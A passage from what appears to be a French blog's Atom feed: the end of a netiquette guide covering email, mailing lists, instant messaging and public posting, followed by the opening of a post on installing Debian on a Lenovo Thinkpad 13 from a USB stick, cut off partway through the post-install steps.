&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vérifiez tous les destinataires avant de vous lancer dans une
    digression longue ou personnelle. C&amp;rsquo;est aussi une bonne habitude de
    préciser dans le sujet du mail s&amp;rsquo;il est long en incluant le mot « long ». Un mail de plus de 50 lignes est long.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sachez à qui demander de l&amp;rsquo;aide, d&amp;rsquo;abord dans votre entourage.
    Avant de demander, cherchez. Lorsque vous demandez de l&amp;rsquo;aide
    précisez ce que vous avez déjà mis en œuvre pour trouver la réponse.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Rappelez-vous que votre interlocuteur est un être humain comme vous
    avec une culture, des références, une langue et une humeur
    différentes. Méfiez-vous des sarcasmes et assurez vous que votre
    humour soit bien compris.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Écrivez en minuscules &amp;mdash; &lt;a href="http://namok.be/blog/?post/2016/11/23/commencer-par-une-majuscule-oui-mais-non"&gt;éventuellement en commençant les phrases par une majuscule&lt;/a&gt;.
    En tout cas n&amp;rsquo;écrivez jamais en majuscules.&lt;/p&gt;
&lt;p&gt;ÉCRIRE EN MAJUSCULES REVIENT À CRIER.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vous pouvez choisir si votre client mail permet de mettre le texte
    en forme. Si vous choisissez cette option, n&amp;rsquo;en abusez pas. Le
    gras, l&amp;rsquo;italique et les listes à puces sont généralement
    suffisants. Ne supposez pas que votre interlocuteur verra cette mise
    en forme.&lt;/p&gt;
&lt;p&gt;Si vous écrivez votre texte sans mise en forme, ces symboles sont
assez standards pour être compris; j&amp;rsquo;écris en &lt;strong&gt;&lt;code&gt;**&lt;/code&gt;gras&lt;code&gt;**&lt;/code&gt;&lt;/strong&gt;, en &lt;em&gt;&lt;code&gt;_&lt;/code&gt;italique&lt;code&gt;_&lt;/code&gt;&lt;/em&gt;, &lt;code&gt;__&lt;/code&gt;je souligne&lt;code&gt;__&lt;/code&gt;, je commence mes listes à puces par un simple tiret &lt;code&gt;-&lt;/code&gt; ou une étoile &lt;code&gt;*&lt;/code&gt;,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L&amp;rsquo;utilisation de &lt;em&gt;smiley&lt;/em&gt; permet de donner une indication sur le
    ton de la phrase. N&amp;rsquo;imaginez pas qu&amp;rsquo;un smiley fera oublier à votre
    interlocuteur l&amp;rsquo;insulte qui le précède. Utilisez les smileys avec
    parcimonie.&lt;/p&gt;
&lt;p&gt;Les &lt;em&gt;emoticons&lt;/em&gt; ne sont par contre pas bien visibles dans les mails.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Laissez-vous du temps &amp;mdash; une nuit &amp;mdash; avant d&amp;rsquo;envoyer un mail sous
    le coup de l&amp;rsquo;émotion. Relisez avant d&amp;rsquo;envoyer.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Soyez bref sans être sec.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dans votre réponse ne laissez pas la totalité du message original.
    Supprimez les parties du message original qui ne sont pas utiles à
    la compréhension.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Que vous répondiez après ou avant le message original n&amp;rsquo;a
    finalement plus beaucoup d&amp;rsquo;importance. Soyez synchro avec votre
    interlocuteur.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;N&amp;rsquo;écrivez pas des lignes trop longues. La lecture est plus rapide
    si vous vous limitez à ±52 caractères par ligne.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un mail devrait avoir un sujet qui reflète son contenu.&lt;/p&gt;
&lt;p&gt;Ne répondez pas à un mail en parlant de tout autre chose. Écrivez un
nouveau mail. Le sujet de ce nouveau mail sera en adéquation avec
son contenu.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lorsque vous incluez une signature, gardez-la courte. Elle ne
    devrait pas excéder 5 lignes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un mail peut-être falsifié et une identité usurpée. Faites les
    vérifications d&amp;rsquo;usage et de bons sens avant de considérer un mail
    comme authentique.&lt;/p&gt;
&lt;p&gt;Faites ceci même si votre client mail vous aide à détecter le
&lt;em&gt;phishing&lt;/em&gt; et le &lt;em&gt;scam&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si vous estimez que l&amp;rsquo;urgence d&amp;rsquo;un message le justifie, répondez
    immédiatement et brièvement afin d&amp;rsquo;accuser réception du message
    quitte à répondre plus longuement plus tard.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Encore aujourd&amp;rsquo;hui et demain, l&amp;rsquo;envoi d&amp;rsquo;un mail a un coût pour
    vous, pour votre expéditeur et pour la communauté. Ne négligez pas
    ce coût… dans la longueur et la fréquence de vos mails par
    exemple.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Maitrisez la taille de vos messages et particulièrement des pièces
    jointes. Il est préférable de déposer les pièces jointes trop
    lourdes quelque part sur Internet &amp;mdash; dans le &lt;em&gt;cloud&lt;/em&gt; &amp;mdash; et
    d&amp;rsquo;envoyer par mail le lien vers la pièce jointe.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Lignes de conduites pour la messagerie instantanée&lt;/h3&gt;
&lt;p&gt;La &lt;em&gt;messagerie instantanée&lt;/em&gt; reprend tous les logiciels qui permettent
d&amp;rsquo;avoir un dialogue interactif avec son interlocuteur.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui ces logiciels permettent généralement de transporter
également des images, du son, des fichiers et des vidéos. Ils ne
nécessitent plus tous d&amp;rsquo;être connecté avec son interlocuteur au même
moment.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Écrivez correctement comme vous le feriez dans un mail.&lt;/p&gt;
&lt;p&gt;Il est par contre habituel de ne pas recopier une phrase dès que
l&amp;rsquo;on fait une typo. Certains ont pris l&amp;rsquo;habitude de corriger un
mot fautif en le faisant précéder d&amp;rsquo;une étoile sans recopier toute
la phrase.&lt;/p&gt;
&lt;p&gt;Ça me parrait bien.&lt;br&gt;
*parait&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Adoptez un style et un ton propre à votre interlocuteur et en
    rapport avec votre degré d&amp;rsquo;affinité.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Rappelez-vous que contacter quelqu&amp;rsquo;un en messagerie instantanée
    peut l&amp;rsquo;interrompre en fonction de la configuration de ses
    appareils. N&amp;rsquo;en abusez pas.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si votre interlocuteur ne vous répond pas alors que le logiciel
    prétend qu&amp;rsquo;il est &lt;em&gt;en ligne&lt;/em&gt;, ne lui en tenez pas rigueur. Il peut
    y avoir beaucoup de raisons pour lesquelles il ne répond pas &amp;mdash;
    dont simplement son envie de ne pas répondre maintenant.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;La communication un-à-plusieurs&lt;/h2&gt;
&lt;p&gt;La communication un-à-plusieurs comprend les listes de diffusion &amp;mdash;
&lt;em&gt;mailing list&lt;/em&gt; &amp;mdash; et les groupes de discussions voire les boites mails
collaboratives.&lt;/p&gt;
&lt;p&gt;Dans ce type de communication, toutes les règles énoncées pour le mail
sont évidemment valables. Après tout, envoyer un mail à plusieurs
personnes, c&amp;rsquo;est envoyer un mail. Sauf que l&amp;rsquo;on risque d&amp;rsquo;en offenser
plus d&amp;rsquo;un et que la probabilité d&amp;rsquo;être bien compris est divisée par le
nombre de destinataires.&lt;/p&gt;
&lt;p&gt;Par extension, la communication instantanée est une forme de discussion
un-à-plusieurs. Elle est par nature moins formelle car plus rapide. Elle
sera l&amp;rsquo;objet de recommandations particulières.&lt;/p&gt;
&lt;h3&gt;Lignes de conduite pour le participant&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Si vous participez à une liste de diffusion dont vous ne connaissez
    pas les intervenants, prenez le temps de lire les archives et les
    messages qui passent avant de vous exprimer.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les listes de diffusion et les groupes sont généralement archivés.
    Ces archives sont parfois publiques, parfois privées. De toute
    manière, n&amp;rsquo;oubliez pas qu&amp;rsquo;un large public va lire vos mots et
    qu&amp;rsquo;ils seront disponibles longtemps dans un endroit accessible à
    beaucoup de monde. Faites donc attention à ce que vous écrivez.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Prenez le temps de rédiger correctement votre réponse. Il n&amp;rsquo;est pas
    rare que celle-ci soit citée ou que quelqu&amp;rsquo;un fasse référence au
    message pour ne pas devoir répéter.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sauf spécification du contraire, chaque personne parle en son nom et
    ne porte pas la parole du groupe.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Soyez brefs et allez à l&amp;rsquo;essentiel. Ne prenez pas le temps &amp;mdash; des
    autres &amp;mdash; en corrigeant les fautes d&amp;rsquo;orthographe ou de style.
    N&amp;rsquo;écrivez pas non plus de longs messages hors sujet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lorsque le groupe adopte des conventions pour le format du sujet des
    mails, respectez-les.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Évitez d&amp;rsquo;avoir des mails qui s&amp;rsquo;allongent à l&amp;rsquo;infini parce que
    l&amp;rsquo;on ne coupe jamais le contenu. Que vous répondiez avant ou après
    le message d&amp;rsquo;origine, ne conservez que la partie nécessaire à la
    mise en contexte. Coupez le reste. Vos interlocuteurs ont aussi
    accès aux archives si nécessaire.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Soyez attentif aux destinataires lorsque vous répondez. Ce peut être
    la liste ou plusieurs membres alors que vous pensez faire une
    réponse individuelle.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dès que la discussion devient un dialogue, ne postez plus vos
    messages à tout le groupe mais seulement au·x membre·s intéressé·s.
    Il sera encore possible de faire un résumé plus tard pour le groupe.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;N&amp;rsquo;envoyez pas de gros fichiers à une liste ou à plusieurs personnes
    et préférez donner un lien vers le fichier hébergé quelque part.
    Ceci a deux avantages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;le fichier n&amp;rsquo;est qu&amp;rsquo;à un seul endroit et moins de données
    circulent sur Internet;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;si vous voulez le mettre à jour, vous gèrerez mieux les
    versions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les listes de diffusion ont toutes une option &lt;em&gt;nomail&lt;/em&gt;. Utilisez la
    lorsque vous n&amp;rsquo;êtes pas disponible pour lire les mails de la liste.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Et lorsque l&amp;rsquo;on pose une question ?&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Posez une question &lt;strong&gt;après&lt;/strong&gt; avoir cherché par vous-même.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lorsque vous posez votre question, dites ce que vous avez déjà fait
    pour trouver la réponse. Montrez votre bonne volonté.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Donnez toutes les informations nécessaires à votre/vos
    interlocuteur/s pour vous répondre.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Rappelez-vous que dans vos interlocuteurs, personne n&amp;rsquo;est obligé de
    répondre.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si la réponse reçue est de la forme RTFM (&lt;em&gt;read the fucking
    manual&lt;/em&gt;). Ne vous braquez pas, la réponse à votre question est
    probablement facilement accessible. Vous auriez dû chercher. Vous
    allez trouver.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Cas particulier de la communication instantanée&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Ces lignes de conduites devraient être adaptées en fonction que le groupe dans lequel l&amp;rsquo;on se trouve est un groupe d&amp;rsquo;amis se connaissant au préalable ou un groupe d&amp;rsquo;inconnus se rassemblant pour échanger sur un sujet précis.&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;L&amp;rsquo;aspect rapide de la communication instantanée permet d&amp;rsquo;être
    moins formel dans la rédaction du message. Message par essence plus
    court.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Comme dans d&amp;rsquo;autres milieux, écoutez d&amp;rsquo;abord avant de parler.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si vous vous autorisez un message privé à des inconnus, ne croyez
    pas qu&amp;rsquo;ils aient une envie folle de parler avec vous. Attendez-vous
    à ce qu&amp;rsquo;ils ne vous répondent simplement pas. C&amp;rsquo;est leur droit.
    Rien ne vous est dû.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Respectez les règles du groupe.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Lignes de conduite pour le modérateur&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Assurez-vous que la FAQ (foire aux questions, &lt;em&gt;frequently asked questions&lt;/em&gt;) est à jour et facilement accessible aux utilisateurs de la liste.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Assurez-vous que le message de bienvenue est complet (et
    accueillant).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Partagez-leur ce document ;-)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;La communication publique ou &lt;em&gt;un-à-tous&lt;/em&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Internet a la mémoire longue. Dès que vous avez diffusé une
    information, elle restera disponible longtemps.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne postez pas de photos de vous que vous n&amp;rsquo;assumez pas ou d&amp;rsquo;autrui
    sans leur autorisation. Respectez le droit à l&amp;rsquo;image des autres et
    de vos amis.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Évitez de diffuser vos parties intimes (&lt;em&gt;sexting&lt;/em&gt;) &lt;strong&gt;et&lt;/strong&gt; votre
    visage sur une même photo. Ou assumez-le pour l&amp;rsquo;éternité.&lt;/p&gt;
&lt;p&gt;Ne postez pas de photos intimes d&amp;rsquo;autres personnes sans leur
consentement (&lt;em&gt;slut shaming&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;heure de la reconnaissance faciale, il est de plus en plus
difficile de séparer ses profils (privé, public, professionnel…).
Mieux vaut en tenir compte.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Soyez attentif à la pérennité de l&amp;rsquo;information que vous fournissez.
    Mettez-la à jour et datez.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Soyez consistant tant sur le fond que sur la forme lorsque vous
    publiez sur Internet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;N&amp;rsquo;hésitez pas à contextualiser lorsque vous postez un message afin
    qu&amp;rsquo;il soit compris du plus grand nombre. S&amp;rsquo;il n&amp;rsquo;est pas destiné à
    être compris, peut-être vaut-il mieux ne pas le poster.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Les services internet&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Internet n&amp;rsquo;est composé que de différents services que nous utilisons tous les jours et qu&amp;rsquo;il est impossible de lister tant ils sont légions.&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Rappelez-vous qu&amp;rsquo;un service appartient toujours à quelqu&amp;rsquo;un ou à
    un organisme. Le service peut-être gratuit ou non. S&amp;rsquo;il est gratuit
    c&amp;rsquo;est peut-être vous le produit.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Essayez de distinguer si vous utilisez un service centralisé ou
    décentralisé.&lt;/p&gt;
&lt;p&gt;Les services centralisés sont la propriété d&amp;rsquo;un organisme.
Intéressez-vous toujours à son &lt;em&gt;business model&lt;/em&gt; (modèle
d&amp;rsquo;entreprise). Son mode de financement vous convient-il ?&lt;/p&gt;
&lt;p&gt;Les services décentralisés peuvent être mis en place par
&lt;strong&gt;plusieurs&lt;/strong&gt; organismes. En ce sens les utilisateurs ont plus de
contrôle sur la gestion de leurs données. Vous pouvez choisir un
fournisseur de services dont le mode de fonctionnement est plus en
adéquation avec votre philosophie.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lorsque vous rencontrez un problème avec un service, vérifiez que le
    problème ne vous incombe pas avant d&amp;rsquo;incriminer le service.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;De manière générale ne croyez pas que l&amp;rsquo;information est précise, à
    jour ou exacte. Croisez vos sources et exercez votre esprit
    critique.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Pour conclure. Lorsque nous communiquons dans la vie de tous les jours
&lt;em&gt;irl&lt;/em&gt; comme sur Internet, pensons aux trois filtres de Socrate;
&lt;strong&gt;vérité&lt;/strong&gt;, &lt;strong&gt;bonté&lt;/strong&gt; et &lt;strong&gt;utilité&lt;/strong&gt;. Si ce que tu as à dire n&amp;rsquo;est ni
vrai, ni bon, ni utile, abstiens toi, je n&amp;rsquo;ai pas besoin de le savoir.&lt;/p&gt;
&lt;p&gt;Plus encore, si l&amp;rsquo;on veut appréhender notre communication plus
sereinement et plus librement, ayons en tête les quatre accords
Toltèques; ta parole est impeccable et positive, tu ne réagis pas de
façon personnelle, tu ne fais pas de supposition, tu cherches la vérité
et tu fais toujours de ton mieux.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Liens&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;La &lt;a href="http://www.faqs.org/rfcs/rfc1855.html"&gt;RFC1855 ou la netiquette&lt;/a&gt; (et une &lt;a href="http://fgouget.free.fr/netiquette/rfc1855-fr.html#p212"&gt;traduction en français&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Premiers articles concernant la netiquette et les bons usages: «La &lt;a href="2007-12-06-netiquette.html"&gt;netiquette&lt;/a&gt;», «&lt;a href="2013-10-29-bon-usage-mailing-list.html"&gt;Le bon usage d&amp;rsquo;une mailing list&lt;/a&gt;»&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pourquoi j&amp;rsquo;écris en minuscules dans mes mails et autres communications instantannées: &lt;a href="http://namok.be/blog/?post/2016/11/23/commencer-par-une-majuscule-oui-mais-non"&gt;«Commencer par une majuscule ? Oui mais non»&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Limiter la longueur des lignes à 52 caractères. « Lire et comprendre » Caroline Golder et Daniel Gaonac&amp;rsquo;h&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un peu d&amp;rsquo;histoire avec une explication de la copie carbone. « &lt;a href="https://fr.wikipedia.org/wiki/Papier_carbone"&gt;Wikipedia. Papier carbone&lt;/a&gt; »&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si c&amp;rsquo;est gratuit, c&amp;rsquo;est forcément vous le produit. L&amp;rsquo;adage est connu. Oui, mais non. &lt;a href="https://cyrille-borne.com/prof/index.php?article18/si-c-est-gratuit-c-est-vous-le-produit-vraiment"&gt;« Si c&amp;rsquo;est gratuit, c&amp;rsquo;est vous le produit. Vraiment ? »&lt;/a&gt; Cyrille Borne&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si c&amp;rsquo;est gratuit, c&amp;rsquo;est forcément vous le produit. &lt;a href="https://www.nikopik.com/2013/12/une-video-qui-explique-la-phrase-si-cest-gratuit-cest-vous-le-produit.html"&gt;En vidéo cette fois&lt;/a&gt; chez Nikopik&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;En novembre 2016, le réseau social Facebook se demande s&amp;rsquo;il doit limiter le nombre de &lt;em&gt;hoax&lt;/em&gt; et de fausses nouvelles &amp;mdash; parfois drôle et souvent sarcastiques &amp;mdash; que les gens partagent. Il semble que nous ayons des difficultés à faire la part des choses entre la vérité et l&amp;rsquo;humour. &lt;a href="https://www.facebook.com/zuck/posts/10103253901916271"&gt;Mark Zuckerberg&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Je raconte une petite histoire expliquant les accords Toltèques. &lt;a href="http://namok.be/blog/?post/2016/02/04/un-bouclier-une-epee-une-quete-une-regle"&gt;« Un bouclier, une épée, une quête et une règle »&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://tom-mosack.deviantart.com/art/The-Bubble-Blower-139081161"&gt;Tom Mosack&lt;/a&gt;. Des bulles de savon pour un anniversaire. Autant qu&amp;rsquo;elles soient soufflées par un nounours.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="pdf/netiquette-2.0.pdf" title="netiquette-2.0.pdf (1.69 MB)"&gt;Le fichier en pdf, netiquette-2.0.pdf&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Le texte été traduit en son temps (&lt;a href="http://fgouget.free.fr/netiquette/rfc1855-fr.html#p212"&gt;en français par exemple&lt;/a&gt;) en 1996 à Jussieu par Laifa Ahmadi, Serge Belleudy, Gilles Missonnier et Françoise Picard mais je constate que les traductions ont tendance à se perdre. De toute façon, comme l&amp;rsquo;original, la traduction peut être dépoussiérée.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Même dans le cas de la vidéoconférence où l&amp;rsquo;image et le son sont     présents, la présence de l&amp;rsquo;écran empêche de &lt;em&gt;sentir&lt;/em&gt; la présence de l&amp;rsquo;autre; son impatience, son énervement, son excitation, sa joie, sa fébrilité… Pas de neurones empathiques facilitant… l&amp;rsquo;empathie.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Le terme « Cc » vient de « copie carbone » (&lt;em&gt;carbon copy&lt;/em&gt;) de l&amp;rsquo;âge où la photocopieuse et l&amp;rsquo;imprimante étaient peu courantes et que les gens utilisaient un papier carbone pour copier une feuille. &lt;a href="https://fr.wikipedia.org/wiki/Papier_carbone"&gt;Wikipedia explique ça très bien&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Installation Lenovo Thinkpad 13</title><link href="http://blog.namok.be/2016-12-12-install-lenovo-thinkpad-13.html" rel="alternate"/><published>2016-12-12T00:00:00+01:00</published><updated>2016-12-12T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-12-12:/2016-12-12-install-lenovo-thinkpad-13.html</id><summary type="html">Installation Lenovo Thinkpad 13</summary><content type="html">&lt;p&gt;&lt;img alt="laptop-lenovo-cut.jpg" src="/images/laptop-lenovo-cut.jpg" title="laptop-lenovo-cut.jpg, déc. 2016"&gt;&lt;/p&gt;
&lt;p&gt;La première chose à faire est de se procurer une version de &lt;em&gt;debian&lt;/em&gt; que l&amp;rsquo;on pourra installer sur sa machine. Le plus simple est d&amp;rsquo;utiliser une (vielle) clé usb… sans trop d&amp;rsquo;espace disponible &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Si l&amp;rsquo;on a une bonne connexion internet, une clé d&amp;rsquo;un peu plus de 28Mb suffit… une très vieille clé usb qui traine fait donc l&amp;rsquo;affaire.&lt;/p&gt;
&lt;p&gt;Pour télécharger l&amp;rsquo;iso, ça se passe &lt;a href="https://www.debian.org/distrib/netinst"&gt;sur le site de Debian&lt;/a&gt;. En bas à droite, vous avez la section &lt;em&gt;network boot&lt;/em&gt; et vous choisissez votre architecture; &lt;em&gt;i386&lt;/em&gt; ou &lt;em&gt;amd&lt;/em&gt; ou… Si votre matériel est de l&amp;rsquo;Intel, vous &lt;a href="http://ftp.nl.debian.org/debian/dists/jessie/main/installer-i386/current/images/netboot/"&gt;pouvez télécharger le fichier &lt;em&gt;mini.iso&lt;/em&gt; à cette adresse&lt;/a&gt; et le sauver quelque part.&lt;/p&gt;
&lt;p&gt;La copie de l&amp;rsquo;iso sur la clé est très simple. La seule difficulté est de ne pas se tromper de disque. Il faut écrire sur la clé usb et pas sur votre disque ! &lt;code&gt;fdisk&lt;/code&gt; va vous permettre de ne pas faire d&amp;rsquo;erreur.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;fdisk&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette commande vous montre vos disques. Si vous lancez cette commande &lt;strong&gt;avant&lt;/strong&gt; et &lt;strong&gt;après&lt;/strong&gt; insertion de la clé usb. Vous saurez quel est l&amp;rsquo;identifiant de votre disque. Chez moi, c&amp;rsquo;est &lt;code&gt;sdb&lt;/code&gt; (&lt;code&gt;sda&lt;/code&gt; étant mon disque principal).&lt;/p&gt;
&lt;p&gt;La copie est alors toute simple.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cp&lt;span class="w"&gt; &lt;/span&gt;/elsewhere/mini.iso&lt;span class="w"&gt; &lt;/span&gt;/dev/sdb
sync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sur la machine à installer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;allumer et entrer dans le BIOS / UEFI pour désactiver &lt;em&gt;secure boot&lt;/em&gt; ( &lt;em&gt;disable secure boot&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;choisir de booter sur la clé USB&lt;/li&gt;
&lt;li&gt;… et se laisser guider par l&amp;rsquo;installeur debian&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Personnellement, je le laisse se connecter automatiquement au réseau, je formate le disque entier, je choisis XFCE comme environnement et « serveur ssh » et je le laisse tranquille… en rédigeant cette note pour mes archives &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Au premier boot, je fais ces quelques tâches:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;remplacement de &lt;em&gt;network-manager&lt;/em&gt; par &lt;em&gt;wicd&lt;/em&gt;;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt&lt;span class="w"&gt; &lt;/span&gt;remove&lt;span class="w"&gt; &lt;/span&gt;network-manager&lt;span class="w"&gt; &lt;/span&gt;
apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;wicd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;j&amp;rsquo;ajoute à &lt;em&gt;apt&lt;/em&gt; les sources &lt;em&gt;contrib&lt;/em&gt; et &lt;em&gt;non-free&lt;/em&gt;;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;~:#&lt;span class="w"&gt; &lt;/span&gt;vim&lt;span class="w"&gt; &lt;/span&gt;/etc/apt/sources.list
:%/main&lt;span class="w"&gt; &lt;/span&gt;/main&lt;span class="w"&gt; &lt;/span&gt;contrib&lt;span class="w"&gt; &lt;/span&gt;non-free/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
